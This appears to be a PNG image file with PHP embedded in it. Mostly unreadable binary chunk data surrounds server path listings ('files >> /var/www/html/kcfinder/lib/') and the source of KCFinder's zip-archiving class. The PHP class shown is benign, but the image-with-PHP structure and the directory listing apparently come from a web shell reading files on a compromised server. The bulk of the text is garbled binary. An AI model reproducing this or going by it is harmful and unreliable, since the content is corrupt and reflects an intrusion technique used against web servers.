php IHDR w Q )Ba pHYs sRGB gAMA a IDATxMk\U s&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨ G;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j- $_q?qS XzG'ay
files >> /var/www/html/kcfinder/lib/ |
files >> //var/www/html/kcfinder/lib/class_zipFolder.php |
<?php /** This file is part of KCFinder project. The class are taken from * http://www.php.net/manual/en/function.ziparchive-addemptydir.php * * @desc Directory to ZIP file archivator * @package KCFinder * @version 2.51 * @author Pavel Tzonkov <pavelc@users.sourceforge.net> * @copyright 2010, 2011 KCFinder Project * @license http://www.opensource.org/licenses/gpl-2.0.php GPLv2 * @license http://www.opensource.org/licenses/lgpl-2.1.php LGPLv2 * @link http://kcfinder.sunhater.com */ class zipFolder { protected $zip; protected $root; protected $ignored; function __construct($file, $folder, $ignored=null) { $this->zip = new ZipArchive(); $this->ignored = is_array($ignored) ? $ignored : ($ignored ? array($ignored) : array()); if ($this->zip->open($file, ZIPARCHIVE::CREATE) !== TRUE) throw new Exception("cannot open <$file>\n"); $folder = rtrim($folder, '/'); if (strstr($folder, '/')) { $this->root = substr($folder, 0, strrpos($folder, '/') + 1); $folder = substr($folder, strrpos($folder, '/') + 1); } $this->zip($folder); $this->zip->close(); } function zip($folder, $parent=null) { $full_path = "{$this->root}$parent$folder"; $zip_path = "$parent$folder"; $this->zip->addEmptyDir($zip_path); $dir = new DirectoryIterator($full_path); foreach ($dir as $file) if (!$file->isDot()) { $filename = $file->getFilename(); if (!in_array($filename, $this->ignored)) { if ($file->isDir()) $this->zip($filename, "$zip_path/"); else $this->zip->addFile("$full_path/$filename", "$zip_path/$filename"); } } } } ?>y~or5J={Eeu磝Qk ᯘG{?+]ן?wM3X^歌>{7پK>on\jy Rg/=fOroNVv~Y+ NGuÝHWyw[eQʨSb> >}Gmx[o[<{Ϯ_qFvM IENDB`